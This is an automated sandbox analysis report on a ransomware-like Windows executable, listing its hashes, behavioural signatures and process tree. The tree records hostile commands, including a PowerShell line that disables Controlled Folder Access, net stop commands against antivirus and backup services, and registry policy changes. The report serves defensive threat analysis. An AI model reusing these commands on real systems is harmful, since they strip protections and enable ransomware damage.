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Analysis
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max time kernel
102s -
max time network
110s -
platform
windows10-ltsc_2021_x64 -
resource
win10ltsc2021-20250314-en -
resource tags
arch:x64arch:x86image:win10ltsc2021-20250314-enlocale:en-usos:windows10-ltsc_2021-x64system -
submitted
15/03/2025, 09:05
Behavioral task
behavioral1
Sample
58bfb9fa8889550d13f42473956dc2a7ec4f3abb18fd3faeaa38089d513c171f.exe
Resource
win10ltsc2021-20250314-en
Behavioral task
behavioral2
Sample
5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Resource
win10ltsc2021-20250314-en
Behavioral task
behavioral3
Sample
ae66e009e16f0fad3b70ad20801f48f2edb904fa5341a89e126a26fd3fc80f75.exe
Resource
win10ltsc2021-20250314-en
Behavioral task
behavioral4
Sample
c460fc0d4fdaf5c68623e18de106f1c3601d7bd6ba80ddad86c10fd6ea123850.exe
Resource
win10ltsc2021-20250314-en
General
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Target
5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
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Size
91KB
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MD5
be60e389a0108b2871dff12dfbb542ac
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SHA1
14b4e0bfac64ec0f837f84ab1780ca7ced8d670d
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SHA256
5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d
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SHA512
6051bec441434a80c34ee2752a3da9c3a0307cd1b551aa27a0f7f6f75b9bf64b172745d80f03eea054a03ebd2c493df21fd48d8fa3b706d46a6f7fee0e7c0641
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SSDEEP
1536:QguHLgeS6umiCp31W4qYXgsLlOqrgB9GpF7LXdarTkCAKL5dsluhtvM4CoLT6QPg:D6seqCp31Hgsp9a9GTrda8CAKLTsWkyI
Malware Config
Signatures
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Disables service(s) 3 TTPs
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Renames multiple (63) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
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Downloads MZ/PE file 2 IoCs
flow pid Process 2 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 6 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-780313508-644878201-565826771-1000\Control Panel\International\Geo\Nation 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe -
Drops startup file 1 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mystartup.lnk 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe -
Executes dropped EXE 1 IoCs
pid Process 5928 nbq4a5jk.exe -
pid Process 5300 powershell.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 1 raw.githubusercontent.com 2 raw.githubusercontent.com -
pid Process 4020 arp.exe -
Launches sc.exe 4 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 5824 sc.exe 3668 sc.exe 5556 sc.exe 5124 sc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 64 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language taskkill.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language sc.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language nbq4a5jk.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language notepad.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language taskkill.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language net1.exe -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 1620 cmd.exe 876 PING.EXE -
Kills process with taskkill 3 IoCs
pid Process 1876 taskkill.exe 5588 taskkill.exe 5944 taskkill.exe -
Opens file in notepad (likely ransom note) 1 IoCs
pid Process 5636 notepad.exe -
Runs net.exe
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Runs ping.exe 1 TTPs 1 IoCs
pid Process 876 PING.EXE -
Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe -
Suspicious use of AdjustPrivilegeToken 29 IoCs
description pid Process Token: SeDebugPrivilege 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe Token: SeDebugPrivilege 5944 taskkill.exe Token: SeDebugPrivilege 1876 taskkill.exe Token: SeDebugPrivilege 5588 taskkill.exe Token: SeDebugPrivilege 5300 powershell.exe Token: SeAssignPrimaryTokenPrivilege 5928 nbq4a5jk.exe Token: SeIncreaseQuotaPrivilege 5928 nbq4a5jk.exe Token: SeImpersonatePrivilege 5928 nbq4a5jk.exe Token: SeIncreaseQuotaPrivilege 5300 powershell.exe Token: SeSecurityPrivilege 5300 powershell.exe Token: SeTakeOwnershipPrivilege 5300 powershell.exe Token: SeLoadDriverPrivilege 5300 powershell.exe Token: SeSystemProfilePrivilege 5300 powershell.exe Token: SeSystemtimePrivilege 5300 powershell.exe Token: SeProfSingleProcessPrivilege 5300 powershell.exe Token: SeIncBasePriorityPrivilege 5300 powershell.exe Token: SeCreatePagefilePrivilege 5300 powershell.exe Token: SeBackupPrivilege 5300 powershell.exe Token: SeRestorePrivilege 5300 powershell.exe Token: SeShutdownPrivilege 5300 powershell.exe Token: SeDebugPrivilege 5300 powershell.exe Token: SeSystemEnvironmentPrivilege 5300 powershell.exe Token: SeRemoteShutdownPrivilege 5300 powershell.exe Token: SeUndockPrivilege 5300 powershell.exe Token: SeManageVolumePrivilege 5300 powershell.exe Token: 33 5300 powershell.exe Token: 34 5300 powershell.exe Token: 35 5300 powershell.exe Token: 36 5300 powershell.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe -
Suspicious use of SendNotifyMessage 1 IoCs
pid Process 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 5216 wrote to memory of 5300 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 80 PID 5216 wrote to memory of 5300 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 80 PID 5216 wrote to memory of 5300 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 80 PID 5216 wrote to memory of 2864 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 81 PID 5216 wrote to memory of 2864 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 81 PID 5216 wrote to memory of 2864 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 81 PID 5216 wrote to memory of 3232 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 83 PID 5216 wrote to memory of 3232 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 83 PID 5216 wrote to memory of 3232 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 83 PID 5216 wrote to memory of 4276 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 84 PID 5216 wrote to memory of 4276 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 84 PID 5216 wrote to memory of 4276 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 84 PID 5216 wrote to memory of 5804 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 86 PID 5216 wrote to memory of 5804 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 86 PID 5216 wrote to memory of 5804 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 86 PID 5216 wrote to memory of 3672 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 87 PID 5216 wrote to memory of 3672 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 87 PID 5216 wrote to memory of 3672 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 87 PID 5216 wrote to memory of 3172 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 88 PID 5216 wrote to memory of 3172 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 88 PID 5216 wrote to memory of 3172 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 88 PID 5216 wrote to memory of 2976 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 89 PID 5216 wrote to memory of 2976 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 89 PID 5216 wrote to memory of 2976 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 89 PID 5216 wrote to memory of 3548 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 90 PID 5216 wrote to memory of 3548 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 90 PID 5216 wrote to memory of 3548 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 90 PID 5216 wrote to memory of 5544 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 91 PID 5216 wrote to memory of 5544 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 91 PID 5216 wrote to memory of 5544 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 91 PID 5216 wrote to memory of 5492 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 92 PID 5216 wrote to memory of 5492 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 92 PID 5216 wrote to memory of 5492 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 92 PID 5216 wrote to memory of 2524 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 93 PID 5216 wrote to memory of 2524 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 93 PID 5216 wrote to memory of 2524 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 93 PID 5216 wrote to memory of 1912 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 94 PID 5216 wrote to memory of 1912 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 94 PID 5216 wrote to memory of 1912 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 94 PID 5216 wrote to memory of 5304 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 95 PID 5216 wrote to memory of 5304 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 95 PID 5216 wrote to memory of 5304 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 95 PID 5216 wrote to memory of 5320 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 96 PID 5216 wrote to memory of 5320 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 96 PID 5216 wrote to memory of 5320 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 96 PID 5216 wrote to memory of 392 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 97 PID 5216 wrote to memory of 392 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 97 PID 5216 wrote to memory of 392 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 97 PID 5216 wrote to memory of 5280 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 98 PID 5216 wrote to memory of 5280 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 98 PID 5216 wrote to memory of 5280 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 98 PID 5216 wrote to memory of 3464 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 99 PID 5216 wrote to memory of 3464 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 99 PID 5216 wrote to memory of 3464 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 99 PID 5216 wrote to memory of 3644 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 100 PID 5216 wrote to memory of 3644 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 100 PID 5216 wrote to memory of 3644 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 100 PID 5216 wrote to memory of 5288 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 101 PID 5216 wrote to memory of 5288 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 101 PID 5216 wrote to memory of 5288 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 101 PID 5216 wrote to memory of 5936 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 102 PID 5216 wrote to memory of 5936 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 102 PID 5216 wrote to memory of 5936 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 102 PID 5216 wrote to memory of 3128 5216 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe 103 -
System policy modification 1 TTPs 2 IoCs
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy = "1" 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1" 5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe"C:\Users\Admin\AppData\Local\Temp\5d40615701c48a122e44f831e7c8643d07765629a83b15d090587f469c77693d.exe"1⤵
- Downloads MZ/PE file
- Checks computer location settings
- Drops startup file
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
- System policy modification
PID:5216 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Set-MpPreference -EnableControlledFolderAccess Disabled2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:5300
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C:\Windows\SysWOW64\net.exe"net.exe" stop avpsus /y2⤵
- System Location Discovery: System Language Discovery
PID:2864 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop avpsus /y3⤵
- System Location Discovery: System Language Discovery
PID:5168
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C:\Windows\SysWOW64\net.exe"net.exe" stop McAfeeDLPAgentService /y2⤵PID:3232
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop McAfeeDLPAgentService /y3⤵
- System Location Discovery: System Language Discovery
PID:1640
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C:\Windows\SysWOW64\net.exe"net.exe" stop mfewc /y2⤵
- System Location Discovery: System Language Discovery
PID:4276 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop mfewc /y3⤵
- System Location Discovery: System Language Discovery
PID:1508
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C:\Windows\SysWOW64\net.exe"net.exe" stop BMR Boot Service /y2⤵
- System Location Discovery: System Language Discovery
PID:5804 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop BMR Boot Service /y3⤵
- System Location Discovery: System Language Discovery
PID:5912
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C:\Windows\SysWOW64\net.exe"net.exe" stop NetBackup BMR MTFTP Service /y2⤵
- System Location Discovery: System Language Discovery
PID:3672 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop NetBackup BMR MTFTP Service /y3⤵
- System Location Discovery: System Language Discovery
PID:3776
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C:\Windows\SysWOW64\net.exe"net.exe" stop DefWatch /y2⤵
- System Location Discovery: System Language Discovery
PID:3172 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop DefWatch /y3⤵
- System Location Discovery: System Language Discovery
PID:4644
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C:\Windows\SysWOW64\net.exe"net.exe" stop ccEvtMgr /y2⤵PID:2976
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ccEvtMgr /y3⤵PID:5624
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C:\Windows\SysWOW64\net.exe"net.exe" stop ccSetMgr /y2⤵PID:3548
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop ccSetMgr /y3⤵PID:2896
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C:\Windows\SysWOW64\net.exe"net.exe" stop SavRoam /y2⤵
- System Location Discovery: System Language Discovery
PID:5544 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop SavRoam /y3⤵PID:2696
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C:\Windows\SysWOW64\net.exe"net.exe" stop RTVscan /y2⤵
- System Location Discovery: System Language Discovery
PID:5492 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop RTVscan /y3⤵PID:1692
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C:\Windows\SysWOW64\net.exe"net.exe" stop QBFCService /y2⤵
- System Location Discovery: System Language Discovery
PID:2524 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QBFCService /y3⤵
- System Location Discovery: System Language Discovery
PID:3728
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C:\Windows\SysWOW64\net.exe"net.exe" stop QBIDPService /y2⤵
- System Location Discovery: System Language Discovery
PID:1912 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QBIDPService /y3⤵
- System Location Discovery: System Language Discovery
PID:2952
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C:\Windows\SysWOW64\net.exe"net.exe" stop Intuit.QuickBooks.FCS /y2⤵
- System Location Discovery: System Language Discovery
PID:5304 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop Intuit.QuickBooks.FCS /y3⤵
- System Location Discovery: System Language Discovery
PID:5908
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C:\Windows\SysWOW64\net.exe"net.exe" stop QBCFMonitorService /y2⤵PID:5320
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop QBCFMonitorService /y3⤵
- System Location Discovery: System Language Discovery
PID:1380
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C:\Windows\SysWOW64\net.exe"net.exe" stop YooBackup /y2⤵
- System Location Discovery: System Language Discovery
PID:392 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop YooBackup /y3⤵PID:2344
